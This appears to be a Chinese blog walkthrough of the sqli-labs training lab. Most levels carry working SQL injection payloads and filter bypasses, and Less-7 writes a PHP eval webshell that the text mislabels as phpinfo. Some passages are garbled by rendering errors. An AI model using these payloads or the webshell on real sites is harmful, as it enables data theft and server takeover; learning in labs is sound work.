
这里都是我整理出来的sqli-labs解题思路,还算是对细节方面解析比较多的了。前面二十题大多是在以一个做题者的思路去写,后面就大部分是直接拿源码分析了,后面的很多关卡没有对表名这些直接爆出,更多的是提供一个思路,希望各位还是要动手去做,这样才能更熟练
这里要说明一下,我之前导入文件的时候出了点问题,这些图片都是我后面一张一张复制粘贴上来的,所以可能会有错位的现象,如果大家发现了麻烦跟我说一下,谢谢
如果有还不太明白的地方可以直接问我,如果有写的不好的地方或者是写错的地方麻烦各位跟我提一下,谢谢了哈
?id=1
尝试用?id=-1来测试此处是否存在交互
说明此处存在交互,开始尝试注入
首先测试闭合字符
报错了
说明此处闭合符为’
使用order by函数猜字段
在order by 3时显示正常,但是order by4 会报错,说明此处字段为3
随后测试回显点
说明此处回显点为 2位和3位
随后开始查询当前使用数据库名
得出当前数据库名
随后查询该数据库中表名
?id=1’ and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 – qwe
随后可以查询表中字段
?id=1’ and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),3 – qwe
查字段信息
?id=1’ and 1=2 union select 1,(select group_concat(users.username) from users),3 – qwe
Less-2:此处可得这里存在与数据库交互,且为数字型注入
后续与Less-1基本相同
?id=1 and 1=2 union select 1,(select group_concat(users.username) from users),3
最后得出字段内数据为
Less-3:?id=3’ 和 ?id=3’)均报错,说明此处为’)或者’闭合
随后先假设为’)闭合,然后通过order by进行测试查询字段数
使用orderby1
这里说明’)为正确的闭合方式
随后的操作与Less-1相似,只是闭合符不一样
查字段信息
?id=1’) and 1=2 union select 1,(select group_concat(users.username) from users),3 – qwe
Less-4:从上面可以看出来闭合符为” 或者 “)
随后继续假设为”)
使用order by 猜测查询字段数
使用order by 1
说明此处为”) 闭合
剩余步骤与Less-1基本相同
最后查询字段中信息得
?id=1") and 1=2 union select 1,(select group_concat(users.username) from users),3 – qwe
Less-5:这里之后测试字段就不再过多注明了,有点浪费时间
综上所述这里闭合符为’
随后继续用order by 测试查询字段数,以方便后续联合注入
Order by 3
Order by 4
说明此处查询字段数为3
随后使用联合查询来测试回显位
?id=1’ and 1=2 union select 1,2,3 – w
其实经过之前的回显页面我们就可以看出来这里并无回显位
那我们可以尝试用报错注入使得页面报错从而利用报错的信息来拿到我们想要的数据
常用的报错函数有:
Updatexml
Floor
Extractvalue
这里使用updatexml来尝试
?id=1’ and 1=2 union select 1,2,(updatexml(1,concat(0x7e,(select database()),0x7e),1)) – qwe
查询所有数据库名
?id=1’ and 1=2 union select 1,2,(updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)) – qwe
查询当前使用数据库中所有表名
查询users表内所有字段名
http://192.168.203.146/sqli-labs-master/Less-5/?id=1’ and 1=2 union select 1,2,(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’) ,0x7e),1)) – qwe
Less-6:Less-6只是闭合符换成了”,其余步骤均与Less-5相似
爆出users表内所有字段名
?id=1" and 1=2 union select 1,2,(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’) ,0x7e),1)) – qwe
Less-7:通过这里的提示,我们可以知道可以使用outfile函数来写入webshell或者phpinfo来读取敏感信息
http://192.168.203.146/sqli-labs-master/less-7/?id=-1’)) union select 1,0x3c3f706870206576616c28245f504f53545b636d645d293b3f3e,3 into outfile ‘C:/phpstudy/PHPTutorial/WWW/sqli-labs-master/Less-7/7.php’ – qwe
通过上面的语句写入phpinfo
Less-8:先测试这里的闭合符
这里是正常页面
随后开始测试闭合符
综上所述,这里测试得出闭合符为’
这里我们也可以看出来,这里可以尝试布尔型盲注通过ascii码去猜数据库名,表名,字段名以及数据,但是也可以去尝试报错注入
这里尝试使用报错注入
但是这里我们发现并没有报错信息
随后我们就只能通过盲注去逐步猜解
我们可以先用length去猜解当前数据库名的长度
这里补充一下mid函数 mid是用来分割数值再取值的
Mid(column,start,length) 这是函数的用法
其中column表示要截取的字段,start为开始的位置,最左为1
Length代表截取长度
当length(database())>8的时候页面回显不正常了,说明这里数据库名长度为7或者8
我们先假设是8
这里可以看出来数据库名就是1
然后我们猜解数据库名第一个字符的ASCII码值
这里说明第一个字符的ascii码值是大于80的
然后我们继续猜解
这里说明第一个字符的ASCII码值是在110到119之间
然后我们取中间值115尝试
这里发现115回显不正常
我们尝试113
这里说明是113到115
就猜115吧
这里可以说明第一个字符的ASCII码值为115
去查询ASCII码表得知,第一个字符为小写的s
手工操作叙述完原理后,我们可以用burp suite来跑
先进行抓包
注意:这里千万不要直接把数据直接复制到intruder模块,会出问题,因为直接复制过来有些信息会对不上
我们先选定要跑的数据先
然后去选择字典
上面那里第一个payload其实写错了,应该是1到8 因为总长度我们之前就测出来是8,没必要跑多余的
后续的表名字段名什么的都可以用类似的方法去跑,这里就不浪费时间了
Less-9:这里不管怎么用闭合符去弄发现页面都不变
这里可以考虑使用时间型盲注去进行尝试
这里先补充一下需要用到的函数sleep() 和 if()
Sleep(time)函数是会让程序延迟time秒后再执行,至于为什么会用,待会就知道了
If(a,b,c) if函数是一个判断语句 a是判断条件,满足则执行b,不满足执行c
这里我们先假设这里的闭合符号是’吧,然后用sleep函数来看看这里是否存在注入
我们发现输入这条语句后,页面延迟了一段时间再回显
说明此处存在时间型盲注
这里我们重新再理一下思路,这里为什么要用slepp函数呢,因为页面不会因为你输入了不正确的值然后给你回显,不能通过回显来判断的话,这个时候我们就要用一个其他的方式来测。假设这里存在与数据库交互,那么sleep函数可以通过让页面延迟。这就是为什么这里需要用到sleep函数来判断
后续我们可以通过if的判断语句来猜测数据库的值,思路其实与Less-8的boolean型盲注类似,通过先猜数据库名字段数然后再逐一去猜ASCII码值,从而得到数据库名
大于7有延迟,而大于8没有延迟了,说明数据库名字段数就是8
这里就演示一下猜解数据库的字段数,后面的与Less-8思路相似,这里就不过多演示了
Less-10:这一关其实就是将闭合字段换成了”,思路与Less-9相似,这里就不过多演示了
Less-11:这里我们发现多了一个登录框,这里我们猜测是让我们尝试用post参数去进行注入,在尝试过get传参注入后,果然,这里get参数不存在注入
尝试对登陆框注入,首先猜闭合符
其中’ 和 ‘)都是这样
然后我们继续用order by来猜测闭合符和猜查询字段数
用order by 1 – q得到
说明此处注入符为’
后续的操作也就是最简单的显错注入,方法参考Less-1
数据库名
Less-12:这里与Less-11的不同点就是闭合符为”
后续操作与Less-11相似
Less-13这里闭合符为‘) 其余与Less-11类似
Less-14这里闭合符为”) 其余与Less-11类似
Less-15这里一开始尝试用闭合符去注入的时候发现页面没有非正常回显,也用sleep函数试过了,都没有可以注入的迹象,然后可能是需要成功登录才能进行注入
这个时候我们使用万能密码登录一下试试
这里可以说明闭合符是’
但是这里还是没有给我们输出可以用于登录的账户和密码
这个时候我们只能尝试burp suite去跑密码了
先抓包
然后我们再用之前提到的跑包方法去跑,这里就不过多说了,参考Less-9提到的跑包方法
这里是用的字典跑,建议大家还是去弄一些好一点的字典,对以后很有帮助
然后就开始跑了
这里依旧是通过回报数据包长度来判断,我们发现admin admin时数据包长度不一样
然后看回包数据或者直接用这个账户密码登录,都可以得出登录成功的反馈
得到账户名和密码后,我们可以开始尝试注入了
之前那里我们通过万能密码也得到了闭合符为’
开始用order by猜解字段数
到3这里发现出现login failed
那么这里字段数应该就是2
到这里其实我们也发现了这里是Boolean型盲注
我们就先猜解一下数据库名的长度
admin’ and length(database())>7 – q
admin’ and length(database())>8 – q
出现login failed了
说明此处数据库名字节数为8
后续的步骤就是简单的Boolean型盲注,参考Less-8的思路
Less-16这里用Less-15猜测闭合符号的思路无果后,通过万能密码尝试出来这里的闭合符为”)
随后也是用Less-15的思路用burp suite去爆破账号和密码
随后再用Boolean注入的思路去猜测数据库名字符数
Length(database())>7
>8
得到数据库字符数为8,后续思路与Less-15提到的一样
Less-17
之前的都是登录界面,而这里我们发现是一个重置密码的界面(做完靶场记得把密码改回来,不然以后想直接利用这个账号可能会出现密码不正确的情况,第一次写sqli-labs的时候我因为这个问题苦恼了好久)
开始测试闭合符
当New password里面输入admin’ 和 admin’) 的时候是会有报错信息
然后我们再使用order by来测一下到底是哪一个吧
admin’ order by 1 – q
发现页面报错
而’) 不报错
这里可以确定闭合符为’了
再继续猜字段数发现为2
然后先尝试一下报错注入
admin’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) – q
后续参考Less-5的报错注入思路
记得再输入一次admin admin把密码改回来
Less-18:这里在尝试过get和post传参处注入都无果后,我们可以尝试其他的参数,先抓个包看看
我们可以尝试一下ua头
页面出现报错
然后继续使用order by来猜测闭合符以及字段数
但是发现报错了
为什么呢,我们可以查看源码来得知答案
那我们就试试报错注入吧(这里为什么要多一个)的问题已经解决!!!具体看后一张图)
问题已经解决,答案在源码中
后续操作参考Less-5的报错思路即可
Less-19:这里再对前面的方法尝试无果后,我们可以将目标放在refer上
输入’后报错
在此处先尝试一下报错注入吧
为什么要多一个)的问题跟Less-18一样
后续报错注入参考Less-5思路
Less-20:这里再对前面的方法尝试无果后,我们可以将目标放在cookie上
这一关需要先用正确的账户和密码登录进来后,才能在cookie处进行注入,详情可以查看源码,因为源码中没有对此处进行过滤
报错注入
后续思路就是报错注入的思路,参考Less-5
Less-21:解密后得到明文其实并没有意义,只是用来验证一下自己的猜想是否正确
然后我们输入的数也用base64加密才能进行注入,这里通过测试发现注释符被禁止了,所以采用 and ‘1’=’1来闭合最后一个’
后续思路就是利用报错注入,思路与Less-5相似
Less-22:这里依然是base64编码,只是闭合符换成了”
后续思路就是通过报错注入继续进行注入
Less-23:这个页面没有post传参了,我们继续尝试用get传参注入
’和’)报错了
然后继续用order by进行猜解
这里发现还是报错,随后就猜测可能是注释符被禁用了
假设这里是’闭合,尝试用and/or ’1’=‘1 来进行绕过0
后续步骤参考Less-1的思路即可,就是这里禁用了注释符而已
Less-24:这道题需要查看源码能有更为清晰的解释
创建账号界面源码
账号登录界面源码
我们在这里发现后端都通过mysql_real_escape_string()对用户输入的用户名和密码做了处理
Mysql_real_escape_string()的作用是对一下字符进行转义
x00
n
r
**
’
"
x1a
这里修改密码是需要先登录
这里我们先注册一个admin’#的账户,至于为什么注册,等后面我会说明
因为有mysql_real_escape_string()的作用
所以我们现在写入到数据库中的账户名是admin’#
登录进来后
之前修改密码的界面我们也看过源码了,当时是对KaTeX parse error: Expected 'EOF', got '#' at position 29: …所以这里我们这里的admin’#̲进入后端php代码处理后,’闭…username=’xxx’的第一个’,#则注释掉了第二个’
这里我们再解释一下为什么要构造admin’#这个用户名,其中’和#在上面一段话中已经做出解释,而admin,是因为这里的管理员账户就是admin,构造admin’#去改密码,但是在经过后端代码的处理,实际上更改的是admin账户的账户和密码
这里接着看源码,这里还有一个where判断语句来对你要进行更改的账户和之前的密码做一个验证
这里的#是会把判断语句后的都注释掉,这里请注意一下
原因解释完了,接着实操
更改完后,我们登录试试
成功更改
记得把密码改回去,以免忘记
Less-25:这一关从提示就可以看出来,and和or被禁用了,经过尝试得知这里大小写也是被禁用了
这里禁用了or,所以order by在这里会报错,那么我们可以用select 1,2……来测字段数和闭合符
但是,这里我们查看过源码得知,这里只会对or 或者 and过滤一次
从源码这里得知呢,我们其实可以通过双写or绕过
也就是oorrder by 这中间的or会被黑名单过滤掉
后续需要查表和数据库的时候,如果用到了information_schema 也不要忘了双写绕过,中间有个or
Less-25-a:这一题其实跟Less-25的差别就是这里是数值型,没有闭合符
Less-26:首先查看源码
这里空格也被注释掉,我们可以想到采用报错注入,因为报错注入对空格的需求是最少的,采用报错注入也没有那么麻烦,有的地方可以用()代替
这里的and和or被注释掉,我们可以用||来代替,and则可以用url编码%26来代替
?id=-1’||(updatexml(1,concat(0x7e,(database()),0x7e),1))||‘1’='1
爆破当前数据库中表名
?id=-1’||
updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),0x7e),1)||‘1’='1
这里别忘了information这里需要双写绕过
后续步骤参考Less-5报错注入即可
Less-26-a:这里与Less-26的区别在于这里只能用盲注,因为不会有报错信息,且闭合符换成了’)
这里就演示一下爆出当前使用数据库名的长度吧
这里没有过滤掉&的url编码,我们可以尝试用%26(&的url编码)尝试绕过
这里可以得到当前数据库名长度为8
后面的思路也就是通过盲注继续获取数据,方法借鉴Less-8
Less-27:这一关查看源码后
而且这里逻辑运算符没有被过滤
这里blacklist第四条过滤语句中的+指的是会匹配多个字符,在这里的意思就是会把这里匹配到的空格都过滤掉
这里就简单演示一下爆出当前使用的数据库名
后续操作参考Less-5的思路,但是要注意这里的部分select是被过滤的,注意大小写切换或者双写绕过
Less-27-a:这一题和27的区别就是闭合符为”,然后没有报错信息输出
所以我们需要采用盲注的方式来获取信息
这里得出了数据库名长度为8
后续步骤参考Less-8的盲注思路即可,但是要注意这里的部分select是被过滤的,注意大小写切换或者双写绕过
Less-28:这里我们先查看源码
这里的/i什么的都是正则表达式的内容
我们先看最后一个语句(return上面那个)
这里的s代表的是空格,这整句话的意思就是union select(注意中间那个空格)会被过滤掉
这里的/i的意思就是不分大小写,这里的数值不分大小写都会被过滤掉
倒数第二句和倒数第三句的+代表的是会匹配多个该字符(这个在Less-27也有提到过)这里指多个空格,也就是会把这里匹配到的所有空格都过滤掉
这里通过双写select和union即可绕过(这个在Less-25首次提到过,可以参考一下)
后面就直接开始注入吧
这里我们可以用到换行符的url编码/0a
?id=1’)and(1=2)uniunion%0aselecton%0aselect%0a1,2,group_concat(table_name)from%0ainformation_schema.tables%0awhere%0atable_schema=database()and(‘1’)=('1and(1=2)uniunion%0aselecton%0aselect%0a1,2,group_concat(table_name)from%0ainformation_schema.tables%0awhere%0atable_schema=database()and(‘1’)=('1)
这里要注意union select的过滤,这里如果直接用空格或者换行符隔开,会被之前空格过滤语句给直接过滤掉导致变成unionselect无法发挥其作用
所以我们需要在中间插入一个union select来让过滤字符去过滤掉,但是这里也不能直接用union select放在中间,因为空格过滤语句在过滤union select语句的前面,会导致变成uniunionselecton(这里换行)
select
这样也无法达到我们的目的
所以这里需要用一个/0a换行符让union 和select在到达最后一条黑名单语句的时候是分隔开的
这样的话语句就变成了
Union(这里换行)
Select
这样才能发挥其作用
这里就爆一下表名吧,后面的思路其实就是联合查询
Less-28-a:先查看一下源码内容
这里就过滤掉了union select,采用Less-28的思路即可
爆破表名(直接沿用上一题的语句即可)
?id=1’)and(1=2)uniunion%0aselecton%0aselect%0a1,2,group_concat(column_name)from%0ainformation_schema.columns%0awhere%0atable_name='users’and(table_schema=database())and(‘1’)=('1and(1=2)uniunion%0aselecton%0aselect%0a1,2,group_concat(column_name)from%0ainformation_schema.columns%0awhere%0atable_name='users’and(table_schema=database())and(‘1’)=('1)
爆出users表字段
Less-29:先查看源码
这里的重点就在第一条语句
^代表的意思是字符串的首部,$代表尾部
然后中间d表示数字,+在之前提到过,指的是多次匹配
连起来这里的意思就是说这里要让 i n p u t 中全是数字,才能有值赋给 input中全是数字,才能有值赋给 input中全是数字,才能有值赋给match
下面还有一个判断语句,如果$match非空,就会返回正常页面,反之则会跳转到另一个错误页面,然后侮辱你一句
综上所述,这里就是一个要求输入传参全是数字的白名单过滤
知道是白名单后,我们可以看看验证部分的源码
这里的$_server[‘QUERY_STRING’]的意思我去查了一下资料,结合别人的实操和自己的实操情况,大致是获取get传参中变量的值,这里获取到的就是?id的值
其实主页面这里也有提示
我们发现第三条语句这里出现了一个自定义函数,我们继续去源码中寻找这个自定义函数
这里的explode函数就是用&当作分割点来分割$query_string中的数,然后把分开的数据装进数组qs_array中
但是呢,这里只会去提取一个传参,如果这里我们输入两个呢?
第一个输入正常数字,第二个用来输入恶意语句
这里开始实操
先爆个表试试
?id=1&id=-1’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- q
后续用联合查询的思路即可
Less-30:Less-30与Less-29的区别就是闭合符从’变成了”
思路参考Less-29即可
爆破表名
?id=1&id=-1"union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- q
Less-31:Less-31与Less-29的区别就是闭合符从’变成了”)
思路参考Less-29即可
这次爆破一下users表中列名吧
?id=1&id=-1")union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- q
?id=1&id=-1")union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘users’-- q
Less-32:查看源码得知
这里采用的的过滤方法就相当于魔术引号的作用,就是会对用户输入的’,”引号前面加上一个进行转义
这里呢,如果这里采用的编码是宽字节编码,我们可以采用宽字节注入的手法进行注入
何为宽字节呢,例如英文字符,一个字符就占一个字节,但是我们用的中文字符呢,一个字是占两个字节的,类似与GB2312、GBK、GB18030、BIG5、Shift_JIS这种编码就属于宽字节编码
这里就拿gbk举例,来说明一下何为宽字节注入,是怎么产生的
假设服务器开启了魔术引号,那么此时如果我们输入一条这样的数据 ?id=1’ order by 1 – q
这里经过魔术引号处理后会变成这样
?id=1’ order by 1 – q
这样的话,这里的’就会被转义掉,然后我们构造的payload也会不起作用
但是现在假设一下,这里采用了gbk编码的话
假设我们输入这样的数据
?id=1%df’ order by 1 – q
在经过魔术引号的作用后,会变成这样
?id=1%df’ order by 1 – q
然后我们将部分数据进行gbk编码一下
?id=1%df%5c%27 order by 1 – q
这里部分编码只是为了便于观看,真实情况不可能是部分转
这里的%df%5c在转回来的时候会被变成这样一个汉字–運
也就是在转回来的时候会变成这样了
?id=1運’ order by – q
在这里我们可以看到,’并没有被转义掉
通过编码的规则来绕过魔术引号,这便是宽字节注入的原理
讲述完宽字节注入的原理后,可以开始实操了
在构造?id%df’后发现页面报错
然后继续测试闭合符
其实后续的内容就是最基础的显错注入了
这里还需要注意的一点是后面where语句要用到table_name=’xxx’ 这里用%df是没有办法绕过的,可以通过将xxx转为十六进制绕过
也就是table_name=0x…
这个在Less-35有实操过
后续思路参考Less-1即可
Less-33:Less-33直接用Less-32的思路即可解决
Less-34:Less-34的思路其实也跟Less-32相似,只是这里变成了POST传参注入而已
Less-35:这一题一开始我也没太明白到底和Less-2有什么区别,联合查询就直接爆出来数据库名了
爆出当前数据库中表名
到这里才发现,这里和Less-2的区别就是开启了魔术引号
就继续用十六进制绕过吧
?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 and table_schema=database()
Less-36:此题解题思路与Less-32一致
Less-37:此题解题步骤和Less-34一致
Less-38:这里其实可以采取最简单的显错注入思路直接进行注入,闭合符为’
但是这道题目的用意是让我们尝试一下堆叠注入,我们可以先查看一下源码
这里我们尝试一下堆叠注入
这里我们就验证一下堆叠注入的可行性
上面是users表中username和password 字段里的所有内容了
然后我们在后面加一个插入语句来验证一下堆叠注入的可行性
先执行一下下面的语句
然后我们再查询一下username,password
Less-39:这里直接用联合查询即可,思路参考Less-2
Less-40:此题也是直接联合查询即可,闭合符为’),思路参考Less-3
Less-41:步骤与Less-2一致
Less-42:这里因为创建账户功能被直接去除掉了,所以就没法再使用Less-24提到的二次注入的方法进行注入了
这里我们先查看login.php源码
然后查看数据库
发现modric已经被插入到数据库中了
登录成功
Less-43:此题与Less-42思路相似,就是闭合符换成了’)
然后尝试登录
Less-44:与Less-42解题思路一模一样
登录成功
Less-45:此关与Less-43解题思路一模一样
Less-46:
先看看sort是否存在注入点
离谱,但是也说明了这里肯定是存在注入点的
其实上面多用了一个注释符,后面那个可以删掉
后续的思路参考Less-5报错注入的思路
Less-47:后续思路可参考Less-5报错注入
Less-48:这一关是没有回显报错信息的,所以这里不能使用报错注入
先尝试一下Boolean型盲注
发现页面没变化(闭合符的情况也试过,这里因为我后面试过是没有闭合符,所以就干脆直接来了),所以可以想一下时间型盲注的思路
发现页面的回显出现了延迟,说明这里可以采用时间型盲注的思路,后续思路参考Less-9
Less-49:Less-49相对于Less-48就是多了一个单引号闭合,也是采用的时间性盲注的思路
Less-50:此题可以直接使用报错注入
但是在查看源码后,发现这里也可以使用堆叠注入
Less-51:此题与Less-50的区别就在于这里用了’闭合,也是可以报错注入和堆叠注入
Less-52:此题是没有报错信息的,且页面不会因为输入数据不正常而导致页面回显不正常,这里可以采取时间型盲注或是堆叠注入
且这里是没有闭合符
Less-53:这里相对于Less-52就是加了个’闭合,其余思路与Less-53一致
Less-54:这是正常页面
我们先测试闭合符
得知闭合符为’
随后继续爆破
不报错,那就试试联合查询
?id=1’ and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() – q
得到表名1b4plg19sv
继续查字段
?id=1’ and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘1b4plg19sv’ – q
然后再继续查询该密钥表中内容
成功拿到密钥数据
Less-55:此题与上一题差距就是这里需要闭合一个)
思路与Less-54是一样的,这里就只放解题过程了
过关
Less-56:这一题的思路与Less-54一致
Less-57:Less-57为”闭合,其余思路与Less-54类似
Less-58:Less-58与Less-54-Less-57不太相同,这里有一个将传参放进数据库的操作,所以这里使用联合查询的话是无法得到我们想要的数据的,这一题有回显的报错信息,所以我们可以采用报错注入
闭合符为’
得到数据库名,后面的操作就是报错注入的思路,参考Less-5
Less-59:这一关与Less-58思路相同,就是这里没有闭合符
Less-60:这一关思路与Less-58相同,就是这里的闭合符是”)
Less-61:思路依然是Less-58的思路,闭合符为’))
Less-62:这一题没有报错信息,可以采用盲注的方式,具体参考Less-8和Less-9
Less-63:此题与Less-62思路一致,也是可以去用盲注的方式来进行注入,参考Less-8,Less-9
闭合符为’
Less-64:与Less-62思路一致,这里的闭合符为))
Less-65:与Less-62思路一致,这里闭合符为”
最后谢谢大家能够看到这里,希望各位在经过sqli-labs靶场的历练后能够对sql注入有着更深入的理解